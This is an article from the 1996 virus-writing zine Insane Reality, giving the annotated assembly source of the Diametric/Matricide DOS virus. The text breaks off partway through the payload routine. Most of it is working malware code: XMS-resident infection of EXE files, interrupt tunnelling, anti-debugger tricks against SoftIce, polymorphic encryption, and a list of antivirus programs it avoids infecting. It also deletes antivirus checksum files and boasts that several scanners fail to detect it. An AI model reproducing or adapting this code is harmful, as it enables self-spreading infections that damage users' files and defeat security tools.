Insane Reality issue #8 - (c)opyright 1996 Immortal Riot/Genesis - REALITY.021 Article: Diametric/Matricide Author: Rajaat [IRG] % Diametric / Matricide virus by Rajaat [IRG] % ________________________________________________ Heres a cool new virus from Rajaat. Besides going XMS resident, being polymorphic, and being encrypted in many little chunks, this virus has many other interesting tricks - just read Rajaats notes. Debug Script follows. - _Sepultura_ ;=[BEGIN HAMANU.ASM]========================================================= ;=====( Diametric / Matricide virus description )============================== ; ; Virus name : Diametric or Matricide, depending on generation ; Author : Rajaat / Genesis ; Origin : United Kingdom, August 1996 ; Compiling : Using TASM 3.2 ; TASM /M HAMANU ; TLINK /T HAMANU ; Other compilers don't work because of the included macro ; definitions, enumerators and high ASCII characters ; throughout the source. ; Targets : EXE files ; Infects on : Execute, FileOpen and Get/Set Attribute ; Size : 3514 bytes code (not counting polymorphic garbage) ; Resident : Yes, but no decrease in available conventional memory ; Polymorphic : Yes, uses RTFM 1.2 ; Encrypted : Yes, uses FlexCrypt(tm) ; Stealth : Memory only, by utilizing XMS ; Tunneling : Yes, uses Tiny Inferior Tunneler ; Retrovirus : Yes, deletes antivirus data files and tries to fool ; string scanning ; Antiheuristics: Yes ; Armor : Yes, real mode debuggers and SoftIce ; Payload : Yes, anagram movement from DIAMETRIC to MATRICIDE and vice ; versa ; Trigger : May 16th, 1/16th chance ; Peculiarities : Many in-memory partly encryptions, XMS swapping, FCB block ; allocations, many antigoat techniques ; Drawbacks : Can't utilize full-stealth because the virus is inactive ; during the execution of a program, might hang if going ; resident from a program that clears display memory. ; Bugs : A few that I know of, but I don't want to fix them anymore, ; I have kept this virus too long in custody, it wants to be ; free. I started at it in November 1995, but due to the ; limited free time I have it took me this long to complete it, ; sorry. ; Behaviour : When an infected file is executed the virus will do various ; checks to see if it can install itself resident. The virus ; checks wether HIMEM.SYS (or a similar program that supports ; the HIMEM.SYS functions) is resident, if NETX.EXE (the Novell ; Netware shell) and TBDRIVER.EXE aren't both loaded and if ; there are enough FCB blocks available in the DOS kernel. If ; all these conditions are met, the virus will move it's code ; to BC00:0000 and a small piece in 3 allocated FCB blocks. ; If NETX.EXE is not loaded, the virus will tunnel to the DOS ; entry point in the HMA so it can overwrite that code with ; a far jump to the virus later on. NETX.EXE does about the ; same thing, disabling the virus while overwriting the DOS HMA ; entry with it's own far jump. The virus moves its memory to ; the video segment in a rather strange way, utilizing an ; undocumented feature of the XMS API. After moving it's memory ; it modifies the far pointer to INT 22 in the current program ; its PSP and allows the host to execute. When the host program ; terminates the virus recieves control again and will patch ; the int 21 handler to point to it's own code in the screen ; segment. The virus is a fast infector and checks for the ; DOS functions 4B00, 3D and 43, being the execute, open_file ; and the get/set file attributes function. If one of these ; DOS functions are requested the virus modifies the stack in ; such way that it first returns to the original DOS function, ; then the XMS loader part in the FCB block space (which is ; described later) and finally its own code again). The virus ; does extensive checks to avoid certain files. It first checks ; if the file has a COM or EXE extension. Next it checks of the ; first two characters matches one in a list if filenames to ; avoid. Almost any antivirus program known to the author is ; included here. Third it checks if the filename contains a ; number in order to avoid goat files. Fourth it looks if this ; program is executed within 3 seconds after infecting the last ; file. If so, it is likely that it is an attempt to infect ; goat files (nobody run WP.EXE for less than 3 seconds). If ; one of these conditions are met the virus will not infect the ; file. After these checks the virus will open the file and ; will do some more checks, like the infamous MZ/ZM check, the ; infection marker in the checksum field of the EXE header and ; if the file is not an NewExe file or contains overlays. ; Finally it checks if the file is not made too recent or else ; it will abort the infection process. If the file passed all ; checks the virus will append itself at the end of the file. ; It will call its polymorphic engine to encrypt itself. The ; algorithm is a bit enhanced compared to RTFM 1.0 or 1.1, but ; it's still easy to crack with a dedicated piece of code. The ; only thing that troubles scanners are the many interrupts ; calls the engine inserts in the decryptors, even sometimes ; recursive (first storing AX register on stack, then call ; other interrupt, pop AX from stack and call another interrupt ; again). The virus alters the instruction at fuck_signature ; depending on the file date. This might throw some antivirus ; authorities off-track if they use goat files which have all ; the same file date set. After infection, the virus will ; swap the code in video memory to XMS and wipes most of its ; code. It patched int 21 back to the normal code and returns ; control to the DOS kernel. Effectively, the virus isn't ; active now anymore, so during one of the 3 functions the ; virus can't be seen active in memory. When the requested ; function is done (for example, when a program terminates) ; the part in the FCB blocks recieves control and will swap ; the virus back from XMS to the video memory and patches ; interrupt 21 again to point at its code there. This small ; loader part is encrypted in memory, so it makes it a bit ; harder to detect. When a program is executed that is written ; in a high level language the return to the virus code in the ; FCB space isn't visible, because they intercept int 22 for ; their own purposes, like the ProView program from McAfee ; does. Finally a thing to mention is that the whole virus is ; split in small pieces that are all encrypted with a variable ; key. This is true for infected files and in memory. Whenever ; a part of the virus that is needed is accessed, the virus ; will decrypt that part and execute it. When the virus doesn't ; need that part anymore, it will encrypt it again with a ; random key. Effectively this means at least 15 parts of the ; virus are encrypted differently in memory, if it isn't ; already swapped to XMS memory in the first place. This makes ; this virus a real pain to disassemble or to capture a clean ; image where everything is decrypted. The parts between the ; lined blocks are encrypted in memory. Other things worth ; mentioning is the strange way the virus gets its delta ; offset, which also contains a little trick to defeat real ; mode debuggers. The small part behind it tries to disable ; the breakpoints set by SoftIce, a protected mode debugger. ; If these backdoors aren't disabled this part gives the virus ; a free run. The backdoor call is build up in such way that ; it doesn't look like a backdoor call. The virus has a payload ; which is not destructive. On May 16th there is a 1/16th ; chance the virus will display the word DIAMETRIC or MATRICIDE ; and will more the characters so that if forms its anagram. ; After changing form the virus name is also changed to its ; anagram counterpart. ; ; To satisfy a certain bitch that wants to remain anomymous I'd ; like to say: ; It's unknown what this virus might do besides replicate :) ; ; Note : The filename HAMANU was chosen as virus name before I decided ; to put the DIAMETRIC/MATRICIDE payload in the virus. HAMANU ; is one of the sorcerer kings existing in the fantasy world ; of Dark Sun. The DIAMETRIC/MATRICIDE anagram payload was ; inspired by the movie "The Fear", an excellent movie which ; I recommend you to watch. ; ;=====( Results with antivirus software )====================================== ; ; TBFILE - Doesn't detect it ; TBSCAN - Sometimes triggers heuristics ; TBCLEAN - Chokes often on the decryptors ; SVS - Detects it ; SSC - Detects it, but sometimes fails ; F-PROT - Doesn't detect it (yet) ; F-PROT /ANALYSE - Doesn't detect it (maybe it will with ; a weak decryption) ; F-PROT /ANALYSE /PARANOID - Detects it ; AVP - Doesn't detect it ; VSAFE - Guess what? Doesn't detect it ; NEMESIS - I don't try this one anymore, who uses this ; shit anyway? ; ;=====( Greetings )============================================================ ; ; Qark - Thanks for finding the CLD bug at the part which ; restores the old int 21 code ; Rhincewind - I miss your knowledge, I enjoyed TB_BUG.ZIP :) ; The Unforgiven - Hope to see you on IRC again, this one is for IR#8 ; Antigen - Too bad you left the scene, you are a brilliant ; coder ; Priest - I made from you my example, ain't that great? :) ; Wild Worker - Thanks for wanting to publish sources in PLASMA ; Metabolis - I'd wish to see Bontchev Barf ; Memory Lapse - C you... ; Dark Angel - I liked our discussions, even though you can be ; a royal pain sometimes... That's ok :) ; Sepultura - Nice chatting with you, revelating... ; Skeeve - Doh! You fixed the bug that Prepender demonstrated ; in about 2 days! Maybe I should try harder. ; ; And ofcourse I want say hello to the other Genesis members, ; Case, Methyl, Retro and Rogue. ; ; The rest which I don't greet here know who they are and want to remain ; secret. ; ;============================================================================== ÛÛ ÛÛ ÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛ ÛÛ Û ÛÛ Û ÛÛ ÛÛ ÛÛ ÛÛ Û ÛÛ ÛÛ ÛÛÛ ÛÛ Û ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Û ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Û ÛÛ ÛÛ ÛÛÛ ÛÛ Û ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛÛ ÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛ ÛÛÛ ÛÛ Û Û ÛÛ Û ÛÛ ÛÛ ÛÛ ÛÛ Û ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Û ÛÛ ÛÛÛÛ ÛÛ ÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Û ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ Û ÛÛÛÛÛ ÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛ ÛÛÛÛ ÛÛÛÛÛ ;=====( Diametric / Matricide virus )========================================== .model tiny ; tiny model ofcourse .code ; .286 ; this virus uses 80286 opcodes .radix 16 ; easier calculations in hex rapid_timeout equ 18d * 3 ; 3 seconds rapid ; infection timeout ;=====( FlexCrypt(tm) Declarations )=========================================== start_marker = '++' ; Start marker for encryption end_marker = '--' ; End marker for encryption f_decrypt macro ; Macro to decrypt next part call flex_decrypt dw '++' endm f_encrypt macro ; Macro to encrypt last part ret dw '--' endm ;=====( Main virus )=========================================================== org 100 ; start at com offset virus: push ax ; 1st generation must not be dec bx ; be detected by TBAV (PKspoof) ;=====( Obtain delta offset & debug trick )==================================== push cs fuck_signature: sub bp,bp ; <- changes pop ss mov si,sp set_delta: call get_sp pickup_delta: mov bp,0feaf get_delta: mov sp,si push ss ; autoexecs next opcode or bp,bp jz pickup_delta sub bp,offset pickup_delta+1 jmp delta_done get_sp: pop sp inc sp mov di,sp inc sp inc sp push di dec di jmp di ;=====( Kill Softice breakpoints )============================================= delta_done: f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov ax,0912 xor 'FG' xor 'JM' ; load values to ³ mov di,'JM' ; clear breakpoints ³ xor ax,di ; for Softice. This is ³ mov si,'FG' ; done in a strange way ³ xor ax,si ; to confuse people. ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ xor byte ptr cs:free_run[bp],90 xor 0cc pop ss ; autoexecs next opcode free_run: nop ; switches between 90 and CC xchg bh,bl xor bh,bh inc ax cmp al,17 jnz free_run f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov byte ptr cs:free_run[bp],90 ; reset Softice trap ³ ³ mov byte ptr cs:tbflag[bp],4 ; reset Thunderbyte flag ³ ³ mov ax,0db00 ; check if netx is ³ int 21 ; installed ³ or al,al ³ jz no_netx ³ ³ mov byte ptr cs:tbflag[bp],2 ; netx is installed ³ ³ no_netx: mov ax,3d00 ; check if tbdriver is ³ lea dx,tbdriver[bp] ; installed ³ int 21 ³ jc tbdriver_not_here ³ xchg ax,bx ³ mov ah,3e ³ int 21 ³ dec byte ptr cs:tbflag[bp] ; tbdriver is installed ³ tbdriver_not_here: ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ cmp byte ptr cs:tbflag[bp],1 ; return to host if both netx je installed ; and tbdriver are loaded f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov ah,52 ; get DOS list of lists ³ int 21 ³ les di,dword ptr es:[bx+1a] ; ptr to system FCB tables ³ mov cs:loader_seg[bp],es ³ ³ push es ; get int 22h pointer ³ mov ax,3522 ³ int 21 ³ mov ax,es ³ pop bx ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ cmp ax,bx ; if int 22h points to FCB jne not_installed ; table segment then abort, ; virus is already resident installed: f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov ah,51 ; get PSP ³ int 21 ³ mov es,bx ; calculate original ³ mov ds,bx ; exe CS:IP and SS:SP ³ add bx,10 ; ³ mov cx,bx ; ³ add cx,cs:exe_ss_sp[bp] ; ³ add bx,cs:exe_cs_ip[bp] ; ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ pop ax ; load calculated values and xor ax,ax ; put them on the stack. with cli ; a retf the virus returns to mov ss,cx ; the host. mov sp,cs:exe_ss_sp+2[bp] sti push bx mov bx,cs:exe_cs_ip+2[bp] push bx retf ;=====( Original exe CS:IP and SS:SP values )================================== exe_cs_ip dw 0fff0,0 exe_ss_sp dw 0fff0,1000 ;=====( Virus resident installation )========================================== not_installed: mov ax,4300 ; check if himem.sys is loaded int 2f cmp al,80 jne installed ; if not, return to host mov es,bx mov cx,es:[di+4] cmp cx,4 ; enough fcb blocks available? jb installed ; no, return to host f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ sub cx,3 ; allocate 3 fcb blocks ³ mov ax,3bh ; from kernel and move ³ mov word ptr es:[di+4],cx ; xms loader into that ³ mul cl ; block ³ add ax,6 ³ mov di,ax ³ push cs ³ pop ds ³ mov loader_ofs[bp],di ³ lea si,read_swap[bp] ³ mov cx,loader ³ cld ³ rep movsb ³ ³ mov ax,3521 ; get int 21h vector in ³ int 21 ; case tunneler doesn't ³ mov old_21_ptr[bp],bx ; work ³ mov old_21_ptr[bp+2],es ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ push bx ds es cmp byte ptr cs:[tbflag+bp],2 ; netx loaded? je tunneler_bad ; yes, don't tunnel ;=====( Tunneler )============================================================= mov ah,34h int 21h ; get indos ptr xchg bx,si push es pop ds mov dx,9090h ; 0x9090 = 2x nop mov cx,dx seek_nop: lodsw ; search for 2x nop dec si sub ax,dx loopnz seek_nop push si mov ax,[si+7] ; get ptr of far jump behind xchg ax,si ; 2x nop lodsw xchg ax,bx lodsw push ax pop es cmp byte ptr es:[bx],0fah ; does it point to a cli pop si ; opcode? je found_cli ; yes jcxz tunneler_bad ; no, and search is done loop seek_nop ; search next 2x nop found_cli: mov old_21_ptr[bp],bx ; store tunneled int 21h mov old_21_ptr[bp+2],es ; pop ax ds ax jmp tunneler_ok tbdriver db 'TBDRVXXX',0 ; TBDRIVER device driver tbflag db 0 ; flag for TBAV tunneler_bad: pop es ds bx ;=====( Install virus in memory )============================================== tunneler_ok: f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ push bx es ; copy main virus part to the ³ mov ax,4310 ; BC00:0000 using an un- ³ int 2f ; documented feature of ³ push cs ; himem.sys, that enables to ³ pop ds ; move blocks of memory. ³ mov word ptr cs:xms_api[bp],bx ³ mov word ptr cs:xms_api+2[bp],es ³ lea si,virus[bp] ³ mov word ptr ds:far_virus[bp],si ³ mov word ptr ds:far_virus+2[bp],cs ³ lea si,emm_install_video[bp] ³ mov ah,0bh ³ call dword ptr cs:xms_api[bp] ³ mov es,word ptr ds:video_seg+2[bp] ³ pop ds bx ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ lea di,old_21_bytes ; store original bytes of int ³ mov al,[bx] ; 21h handler, that will be ³ stosb ; patched by the virus ³ mov ax,[bx+1] ³ stosw ³ mov ax,[bx+3] ³ stosw ³ ³ mov ah,62 ; get PSP ³ int 21 ³ mov ds,bx ³ ³ lea ax,init_21 ; modify DW PSP:000A to ³ xchg ax,ds:[0a] ; point to the virus code ³ mov es:saved_22_ofs,ax ; that installs the virus ³ mov ax,es ; memory resident ³ xchg ax,ds:[0c] ; ³ mov es:saved_22_seg,ax ; ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ jmp installed ; return to host ;=====( EMM block for moving virus to video memory )=========================== emm_install_video: dd (virus_bytes or 1) + 1 dw 0 far_virus: dd 0 dw 0 video_seg: dd 0bbf00100h ;=====( New interrupt 21h handler )============================================ new_21: pushf ; push register state pusha ; push es ; cld les di,dword ptr cs:old_21_ptr ; restore old int 21 bytes mov al,cs:old_21_bytes stosb mov ax,word ptr cs:old_21_bytes+1 stosw mov ax,word ptr cs:old_21_bytes+3 stosw pop es ; pop register state popa ; popf ; cmp ax,4b00 ; execute? je check_infect ; yes, try to infect cmp ah,3dh ; open? je check_infect ; yes, try to infect cmp ah,43 ; attrib? je check_infect ; yes, try to infect call dos ; handle dos function done: call patch_int_21_back video: retf 2 ;=====( Patch 5 int 21h code bytes back )====================================== patch_int_21_back: push ax di es les di,dword ptr cs:old_21_ptr cld mov al,0ea stosb lea ax,new_21 stosw mov ax,cs stosw pop es di ax ret ;=====( Call int 21h dos handler )============================================= dos: pushf call dword ptr cs:old_21_ptr ret ;=====( Many checks to see if the virus may infect )=========================== ; ; Note: The next few lines are a bit confusing, since I use filthy stack things ; to jump to the right routines. Addresses should be read in z-order. check_infect: mov cs:ax_function,ax ; store function lea ax,done ; far address cs:done on the push cs ax ; stack pushf mov ax,cs:loader_seg ; far address of the XMS push ax ; swapper on the stack (must mov ax,cs:loader_ofs ; swap back from XMS before it inc ax ; can jump to cs:done) inc ax push ax mov ax,cs:old_21_ptr+2 ; far address of original int push ax ; 21h on stack (must call mov ax,cs:old_21_ptr ; function before it gets push ax ; back to the virus) pushf pusha push ds es ;=====( Search for filename )================================================== cld mov si,dx mov di,dx search_bslash: lodsb or al,al ; (null)? jz end_found ; yes, end found cmp al,'\' ; '\'? jne search_bslash ; no, search backslash mov di,si jmp search_bslash not_executable_: jmp not_executable ;=====( Check for COM or EXE extension )======================================= end_found: mov ax,[si-4] or ax,2020 ; lowercase cmp ax,'xe' je check2 cmp ax,'oc' jne not_executable_ ; no ex* or co* -> abort mov al,'m' check2: mov ah,[si-2] or ah,20 ; lowercase cmp ah,al jne not_executable_ ; no *e or *m -> abort ;=====( AntiGoat - Check filenames to avoid )================================== xor bx,bx ; bx = goat flag lea si,avoid_names push ds pop es push cs pop ds next_name: lodsw or ax,ax ; (null)? jz done_names ; yes, namescheck done cmp ax,es:[di] jne next_name or bx,1 ; antivirus program ;=====( AntiGoat - Check for numbered files )================================== done_names: mov cx,8 seek_number: mov al,byte ptr es:[di] cmp al,'0' jb no_number ; char below '0' cmp al,'9' ja no_number ; char above '9' or bx,1 ; contains number no_number: inc di loop seek_number ;=====( AntiGoat - Check for rapid executions )================================ push ds xor ax,ax mov ds,ax mov ax,word ptr ds:[46c] ; timer tick pop ds mov dx,word ptr cs:[rapid_counter] sub ax,dx cmp ax,rapid_timeout jae done_rapid_goat or bx,1 ; rapid execution done_rapid_goat:or bx,bx ; no goat flags set? jz done_anti_goat ; yes, antigoat done jmp not_executable ; flagged! don't infect ;=====( Continue with infection )============================================== done_anti_goat: f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov ax,3524 ; disable the critical ³ call dos ; error handler and the ³ mov old_24_ptr,bx ; network redirector so ³ mov old_24_ptr+2,es ; there is no error on ³ mov al,2a ; write protected media ³ call dos ; or interference with ³ mov old_2a_ptr,bx ; antivirus toolkits that ³ mov old_2a_ptr+2,es ; intercept the network ³ mov ah,25 ; redirector to check ³ push cs ; for virus-like behaviour. ³ pop ds ³ lea dx,zero_handler ³ call dos ³ mov al,24 ³ call dos ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ pop es ds ; clean registers popa popf pushf pusha push ds es ;=====( Store and clear file attributes )====================================== push dx ds ; store file attributes mov ax,4300 ; and clear them call dos push cx xor cx,cx mov ax,4301 push ax call dos jnc attrib_ok _infection_done:jmp infection_done ;=====( Open file )============================================================ attrib_ok: mov ax,3d82 ; open file read/write call dos jc _infection_done ; error? stop infect xchg ax,bx mov ah,45 ; duplicate file handle call dos jc _infection_done ; error? stop infect push ax mov ah,3e ; close first file handle call dos pop bx ; use second file handle mov ax,5700 ; store file date/time call dos push cx dx ;=====( Check if file creation date is recent )================================ mov ah,2a ; check if file date/time is call dos ; too recent. if so, abort sub cx,1980d ; infection. shl cx,9 mov ax,dx and dx,0ff00 shr dx,3 or dx,ax or dx,cx pop cx push cx and cx,01f8 and dx,01f8 cmp cx,dx je _date_goat ;=====( Check for true exe file )============================================== push cs ; read exe header pop ds mov ah,3f lea dx,virus_end mov cx,size exe_header call dos cmp virus_end.eh_signature,'MZ' ; ZM header? je handle_exe ; yes, handle exe cmp virus_end.eh_signature,'ZM' ; MZ header? je handle_exe ; yes, handle exe _date_goat: jmp date_goat ; stop infection ;=====( Handle exe - check if infectable )===================================== handle_exe: cmp virus_end.eh_checksum,'RG' ; already infected? je _date_goat ; yes, stop infection cmp virus_end.eh_overlays,0 ; overlays? jne _date_goat ; yes, stop infection cmp virus_end.eh_table_offset,40; NewExe header? jae _date_goat ; yes, stop infection push virus_end.eh_reloc_cs ; store original exe pop exe_cs_ip ; CS:IP and SS:IP push virus_end.eh_exe_ip ; values pop exe_cs_ip+2 push virus_end.eh_reloc_ss pop exe_ss_sp push virus_end.eh_exe_sp pop exe_ss_sp+2 mov ax,4202 ; goto end of file xor cx,cx cwd call dos push ax dx ; calculate page_count push ax ; and part_page mov cx,200 div cx or dx,dx jz no_zero inc ax no_zero: cmp ax,virus_end.eh_page_count ; check if calculated values jne _internal_overlay ; reflect the header info. cmp dx,virus_end.eh_part_page ; if not, internal overlays jne _internal_overlay ; are used and the virus must jmp no_internal_overlay ; abort infection _internal_overlay: pop ax jmp internal_overlay ; abort infection ;=====( Actual infection routine )============================================= no_internal_overlay: push cs ; set up registers to call pop es ; polymorphic engine lea si,virus ; <- piece to encrypt lea di,virus_end+200h ; <- place encrypted code mov cx,virus_bytes ; <- amount to encrypt pop ax ; offset in file push bx ; store file handle xchg ax,bx and bx,0fh xor ax,ax ; junk allowed! call mutate ; call polymorphic engine pop bx ; retrieve file handle mov ah,40 ; write virus to file call dos pop dx ax f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov cx,10 ; change exe header to ³ div cx ; reflect changes done to ³ sub ax,virus_end.eh_header_size ; the file ³ mov virus_end.eh_reloc_cs,ax ³ dec ax ³ mov virus_end.eh_reloc_ss,ax ³ mov virus_end.eh_exe_ip,dx ³ mov virus_end.eh_exe_sp,(virus_bytes or 1) + 181 ³ mov virus_end.eh_checksum,'RG' ; infection marker ³ add virus_end.eh_min_memory,virus_paras ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov ax,4202 ; calculate partpage and ³ xor cx,cx ; pagecount fields for ³ cwd ; exe header ³ call dos ³ mov cx,200 ³ div cx ³ or dx,dx ³ jz no_zero2 ³ inc ax ³ no_zero2: mov virus_end.eh_part_page,dx ; update part_page field ³ mov virus_end.eh_page_count,ax ; update part_count field ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov ax,4200 ; goto start of file ³ xor cx,cx ³ cwd ³ call dos ³ ³ mov ah,40 ; write new exe header to ³ lea dx,virus_end ; the file ³ mov cx,size exe_header ³ call dos ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ push ds ; update rapid infection ³ xor ax,ax ; counter ³ mov ds,ax ³ mov ax,word ptr ds:[46c] ³ pop ds ³ mov word ptr [rapid_counter],ax ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ call Delete_Checksum_Files ; delete checksum files mov ah,2ah ; get date call dos cmp dx,510 ; may 16th? jne date_goat ; no, infection done call rnd_get ; get random number cmp ax,1000 ; chance 1 out of 16? ja date_goat ; no, infection done call activation ; show anagram movement jmp date_goat ; infection done internal_overlay: pop dx ax date_goat: mov ax,5701 ; restore file date/time pop dx cx call dos shr dx,6 ; change instruction at and dx,3 ; fuck_signature to fuck mov si,dx ; a few signatures if they mov al,cs:first_byte_poly[si] ; look over this. depends on mov byte ptr cs:fuck_signature,al ; file date, which probably ; won't differ between goat ; files mov ah,3e ; close file call dos infection_done: pop ax cx ds dx ; reset file attributes call dos f_decrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ mov ax,2524 ; restore critical error ³ mov dx,cs:old_24_ptr ; handler and network ³ mov ds,cs:old_24_ptr+2 ; redirector ³ call dos ³ mov al,2a ³ mov dx,cs:old_2a_ptr ³ mov ds,cs:old_2a_ptr+2 ³ call dos ³ ³ f_encrypt ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ jmp not_executable ; infection is done ;=====( EMM block to write virus to XMS )====================================== emm_block_write:dw (virus_bytes or 1)+1,0 ; amount to move dw 0 ; source handle (empty) dw 0,0bc00 ; source pointer write_handle dw 0 ; destination handle dw 0,0 ; destination pointer (empty) ;=====( Names of files of which infection must be avoided )==================== avoid_names db '-V' ; Eugene Kasperskys Antivirus Toolkit (Old Version) db 'AD' ; Advanced Diskinfoscope db 'AI' ; Aidstest (Russian) db 'AV' ; Eugene Kasperskys Antivirus Toolkit (New Version) db 'CP' ; Central Point Antivirus db 'DR' ; Dr-Web (Russian) db 'F-' ; Datafellows F-Prot db 'FI' ; Dr. Solomon Antivirus Toolkit db 'GU' ; Dr. Solomon Antivirus Toolkit db 'IM' ; Integrity Master db 'IV' ; NetZ Computers Invircible db 'MS' ; Microsoft Antivirus db 'NA' ; Norton Antivirus db 'PC' ; CSE PC Vaccine Pro db 'SC' ; McAfee Scan, Suspicious db 'SP' ; SpinRite db 'SS' ; Suspicious db 'SV' ; Suspicious db 'TB' ; Thunderbyte Antivirus db 'TO' ; Dr. Solomon Antivirus Toolkit db 'V-' ; VirHunter db 'VA' ; Virus Alert db 'VS' ; Microsoft VSafe, EliaShim VirusSafe, Virus Summary db 'WE' ; Dr-Web (English) db 0,0 ; <- (null) ;=====( Data used by the virus )=============================================== rapid_counter dw 0 ; rapid infection counter first_byte_poly db 29,2bh,31,33 ; 4 variants to make bp = 0 ;=====( Interrupt handler for critical error handler and network redirector )== zero_handler: iret ;=====( Anagram payload : DIAMETRIC <-> MATRICIDE )============================ ; ; I don't want to give a detailed description of how the payload works, so the ; comments are very generic and incomplete. But who cares, this is a virus, ; not a demo! char_width equ 8 char_height equ 8 font_segment equ 0f000 ; 8x8 font in memory font_offset equ 0fa6e screen_top equ 0 ; line 0 screen_middle equ (8*160d) ; line 8 screen_bottom equ (16d*160d) ; line 16 screen_segment equ 0b800 ; assume VGA activation: pusha push ds es push cs cs pop ds es mov ax,600 ; clear screen xor cx,cx mov dx,1950 mov bl,0f int 10 call redraw ; animate anagram call wait_time ; wait a few seconds pop es ds popa ret redraw: call make_anagram ; reverse anagram call draw_anagram ; draw anagram on screen call wait_time ; wait a few seconds cmp byte ptr cs:[anagram],'D' ; anagram starts with 'D'? je reverse ; yes, mutate to MATRICIDE call matricide_diametric ; no, mutate to DIAMETRIC ret reverse: call diametric_matricide ret ;=====( Movement from MATRICIDE to DIAMETRIC )================================= matricide_diametric: ; could have been done with a xor cx,cx ; movement table, but this call scroll_down ; doesn't bother 